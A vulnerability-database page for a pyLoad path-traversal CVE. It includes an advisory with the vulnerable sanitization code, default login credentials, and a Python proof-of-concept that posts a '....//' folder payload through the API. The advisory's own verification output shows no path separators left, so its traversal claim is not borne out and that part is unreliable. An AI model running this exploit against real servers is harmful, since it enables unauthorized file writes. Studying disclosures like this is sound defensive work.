CVE-2026-42314
mediumpriority · track · 0EPSS 0.003 · 28 %ileEUUSEPSS · scored 2026-10-27
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, package folder names are sanitized using insufficient string replacement. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS. This vulnerability is fixed in 0.5.0b3.dev100.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
- pyload-ng project pyload-ng< 0.5.0b3.dev100nvdUScpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:*:*:*
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-97r3-5w84-r4q8PyLoad Vulnerable to Path Traversal via Package Folder Name2026-05-05ghsa · osvUS
Insufficient sanitization of package folder names allows writing files outside the intended download directory. ## Affected Component - `src/pyload/core/api/__init__.py` - Function: `add_package()` ## Description Package folder names are sanitized using insufficient string replacement: ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "_") # Bypassable! .replace("..\\", "_") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` The `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS. ## Proof of Concept ### Setup ```bash pip install pyload-ng[all] pyload -d & # Default credentials: pyload / pyload ``` ### Exploit ```python #!/usr/bin/env python3 import requests BASE_URL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload" session = requests.Session() # Login session.post(f"{BASE_URL}/login", data={ "username": USERNAME, "password": PASSWORD }) # Create package with malicious folder name # The pattern ....// bypasses the ../ replacement # After sanitization: .._ (still contains ..) folder_payload = "....//....//....//tmp/evil" resp = session.post(f"{BASE_URL}/api/add_package", json={ "name": "test_package", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE }) package_id = resp.json() print(f"Created package: {package_id}") # Set malicious folder name resp = session.post(f"{BASE_URL}/api/set_package_data", json={ "package_id": package_id, "data": {"folder": folder_payload} }) print(f"Set folder payload: {folder_payload}") print(f"Response: {resp.status_code}") # When download occurs, files will be written outside download dir print("[+] When a file is downloaded, it will be written to manipulated path") print(" The sanitized folder still contains '..' sequences that OS resolves") ``` ### Verification Check where files would be written: ```python import os download_dir = "/home/user/Downloads" folder = "....//....//....//tmp/evil" # Simulate pyLoad's sanitization sanitized = folder.replace("../", "_").replace("/", "_") print(f"After pyLoad sanitization: {sanitized}") # Output: .._.._.._tmp_evil # When pyLoad does os.path.join and then opens the file: final_path = os.path.join(download_dir, sanitized) print(f"Joined path: {final_path}") # Output: /home/user/Downloads/.._.._.._tmp_evil # The .. sequences remain and could be resolved by OS during file operations ``` ## Impact Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content
- PYSEC-2026-1282026-05-11vendor · osvUS
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, package folder names are sanitized using insufficient string replacement. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS. This vulnerability is fixed in 0.5.0b3.dev100.
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (4)
External citations — patches, advisories, analysis.
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan